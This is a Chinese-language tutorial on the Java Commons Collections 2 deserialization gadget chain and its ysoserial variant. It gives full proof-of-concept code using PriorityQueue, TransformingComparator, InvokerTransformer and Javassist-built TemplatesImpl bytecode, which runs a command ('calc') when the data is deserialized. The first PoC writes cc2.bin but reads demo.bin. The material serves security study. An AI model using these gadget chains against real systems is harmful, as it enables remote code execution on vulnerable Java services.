JAVA安全-cc2分析(进阶篇)
字数 1743 2025-08-22 12:23:41
Java安全 - CC2链分析(进阶篇)
前言
本教程详细分析Commons Collections 2(CC2)链及其变种YSO-CC2的利用方式,相比CC1链难度更高,需要掌握更多前置知识。
前置知识
ClassLoader
ClassLoader是Java类加载器,其中的defineClass方法可以将字节码还原为Class对象。
关键方法:
defineClass(String name, byte[] b, int off, int len):将字节数组转换为Class对象
示例代码:
ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("target.com.prophet.People2");
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bt = ct.toBytecode();
Method define = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class cla = (Class)define.invoke(ClassLoader.getSystemClassLoader(),
"target.com.prophet.People2", bt, 0, bt.length);
cla.newInstance();
Javassist
Javassist是一个Java字节码操作库,提供源代码级和字节码级API。
ClassPool常用方法
getDefault():获取默认类池insertClassPath(String pathname):在搜索路径开头插入目录或JARget(String classname):读取类文件并返回CtClass对象makeClass(String classname):创建新的public类
CtClass常用方法
setSuperclass(CtClass clazz):设置父类toBytecode():将类转换为字节数组makeClassInitializer():创建类初始化器(静态构造函数)writeFile():将类文件写入磁盘
CtMethods常用方法
insertBefore(String src):在方法开始处插入代码setBody(String src):设置方法体内容addParameter(CtClass type):添加参数
TemplatesImpl
TemplatesImpl类可用于动态加载字节码,关键方法:
defineTransletClasses():调用defineClass还原字节码getTransletInstance():实例化转换器类newTransformer():创建新转换器getOutputProperties():获取输出属性(上层调用newTransformer)
利用链:
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()
示例代码:
ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("People2");
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
templates.newTransformer();
PriorityQueue
优先队列常用方法:
add()/offer():添加元素poll()/remove():取出并删除队首元素peek():查询队首元素
比较器用法:
// 默认从小到大
PriorityQueue<Integer> queue = new PriorityQueue<>();
// 从大到小
PriorityQueue<Integer> queue = new PriorityQueue<>((a,b)->(b-a));
环境准备
依赖配置:
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
CC2链分析
为什么不用AnnotationInvocationHandler
在Commons Collections 4.0中,AnnotationInvocationHandler的readObject方法已被修复,因此需要寻找新的入口点。
TransformingComparator
TransformingComparator类的compare方法会执行transform操作,且transformer成员可通过构造方法设置。
调用链:
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
完整利用链:
ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Class.getMethod()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.getRuntime()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()
POC代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(comparator);
queue.add(new Object());
queue.add(new Object());
// 序列化与反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
outputStream.writeObject(queue);
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("demo.bin"));
inputStream.readObject();
YSO-CC2链分析
结合Javassist和TemplatesImpl实现更高级的利用方式。
关键点:
- 使用
InvokerTransformer调用TemplatesImpl的getOutputProperties方法 - 通过
TransformingComparator.compare()触发transform - 将恶意
TemplatesImpl对象传入队列
POC代码:
// 创建恶意类
ClassPool pool2 = ClassPool.getDefault();
CtClass ct = pool2.makeClass("People2");
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
CtConstructor cons = ct.makeClassInitializer();
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
// 创建InvokerTransformer调用getOutputProperties
Constructor<?> constructor = Class.forName(
"org.apache.commons.collections4.functors.InvokerTransformer")
.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer invokerTransformer = (InvokerTransformer)
constructor.newInstance("getOutputProperties");
// 设置比较器
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
// 配置PriorityQueue
PriorityQueue queue = new PriorityQueue();
setFieldValue(queue, "size", 2);
setFieldValue(queue, "comparator", comparator);
Object[] list = new Object[]{templates, 1};
setFieldValue(queue, "queue", list);
// 序列化与反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
outputStream.writeObject(queue);
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.bin"));
inputStream.readObject();
辅助方法
private static void setFieldValue(final Object obj,
final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
总结
CC2链相比CC1链:
- 使用了
PriorityQueue作为入口类 - 通过
TransformingComparator触发transform - 在4.0版本中规避了
AnnotationInvocationHandler的限制
YSO-CC2链进一步:
- 结合Javassist动态生成恶意类
- 利用
TemplatesImpl加载字节码 - 通过
InvokerTransformer直接调用getOutputProperties方法
掌握这些技术需要深入理解Java反射、类加载机制和序列化原理。